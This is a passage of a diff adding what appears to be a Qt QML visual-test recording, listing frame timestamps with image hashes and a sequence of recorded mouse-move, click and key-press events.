"b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 192 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 208 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 224 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 240 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 256 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 272 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 288 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 304 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 320 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 336 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 352 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 368 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 384 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 400 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 416 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 432 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 448 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 464 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 480 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 496 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 512 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 528 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 544 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 560 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 576 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 592 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 608 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 624 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 640 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 656 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 672 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 688 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 704 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 720 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 736 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 752 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 768 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 784 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 800 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 816 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 832 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 848 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 864 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 880 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 896 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 912 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 928 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 944 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 960 + image: "windowObjects.0.png" + } + Frame { + msec: 976 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 992 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1008 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1024 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1040 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 155; y: 9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 145; y: 23 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1056 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 137; y: 37 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 127; y: 53 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1072 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 119; y: 67 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 111; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1088 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 103; y: 87 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1104 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 97; y: 93 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 109 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1120 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 117 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 125 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1136 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 81; y: 133 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 139 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1152 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 142 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 145 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1168 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 146 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1184 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1200 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1216 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1232 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1248 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 143 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1264 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1280 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 142 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 141 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 139 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1296 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 138 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1312 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1328 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1344 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 86; y: 137 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1360 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1376 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 138 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 139 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1392 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 141 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 142 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1408 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 144 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1424 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 146 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 148 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 149 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1440 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 151 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 91; y: 153 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1456 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 154 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 155 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1472 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1488 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1504 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1520 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1536 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1552 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1568 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1584 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1600 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1616 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1632 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1648 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1664 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1680 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1696 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1712 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1728 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1744 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1760 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1776 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1792 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1808 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1824 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1840 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1856 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1872 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1888 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1904 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 1920 + image: "windowObjects.1.png" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 89; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1936 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Frame { + msec: 1952 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Frame { + msec: 1968 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Frame { + msec: 1984 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Frame { + msec: 2000 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Frame { + msec: 2016 + hash: "fca76207a4fa6f2c4bb01d28aa018f0c" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 89; y: 156 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2032 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2048 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2064 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2080 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2096 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2112 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2128 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2144 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2160 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2176 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2192 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2208 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2224 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2240 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2256 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2272 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2288 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 89; y: 157 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 160 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2304 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 161 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 83; y: 167 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2320 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 169 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2336 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 78; y: 183 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 189 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2352 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 72; y: 195 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 68; y: 201 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2368 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 207 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 213 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2384 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 215 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 59; y: 221 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2400 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 222 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 224 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2416 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2432 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2448 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2464 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2480 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2496 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2512 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2528 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2544 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2560 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2576 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2592 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2608 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2624 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2640 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2656 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2672 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2688 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2704 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2720 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2736 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 49; y: 225 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 50; y: 224 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2752 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 50; y: 223 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 51; y: 222 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2784 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 51; y: 221 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 52; y: 220 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2800 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 52; y: 218 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2816 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 53; y: 217 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2832 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2848 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2864 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 54; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "windowObjects.2.png" + } + Frame { + msec: 2896 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 55; y: 215 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2912 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2928 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 56; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2944 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2960 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 2976 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 214 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 57; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3008 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3024 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3040 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3056 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3072 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3088 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3104 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 57; y: 214 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3120 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3136 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3152 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3168 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3184 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3200 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3216 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Frame { + msec: 3232 + hash: "6927f81ca01ef75d204994aa82c60c4d" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3248 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3264 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3280 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3296 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3312 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3328 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3344 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3360 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 212 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3376 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3392 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Frame { + msec: 3408 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 211 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3424 + hash: "2165224e8f66a797ae5c991462fb56d8" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3440 + hash: "c6ac7e0be8b7b2a80966344389def97a" + } + Frame { + msec: 3456 + hash: "c6ac7e0be8b7b2a80966344389def97a" + } + Frame { + msec: 3472 + hash: "c6ac7e0be8b7b2a80966344389def97a" + } + Frame { + msec: 3488 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3504 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3520 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3536 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3552 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3568 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3584 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Frame { + msec: 3600 + hash: "40f333072bb9f1d334d5ae432d9641b9" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 210 + modifiers: 0 + sendToViewport: true + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3616 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 60; y: 209 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 207 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3632 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 205 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3648 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 204 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 203 + modifiers: 0 + sendToViewport: true + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3664 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 63; y: 202 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 200 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3680 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Frame { + msec: 3696 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 65; y: 198 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 66; y: 197 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 195 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 68; y: 194 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 69; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3728 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 190 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 188 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3744 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 186 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 185 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3760 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 71; y: 183 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 71; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3776 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 72; y: 179 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 73; y: 178 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3792 + hash: "96f727ef0dacfda9ea77fb5651493030" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 73; y: 176 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 73; y: 175 + modifiers: 0 + 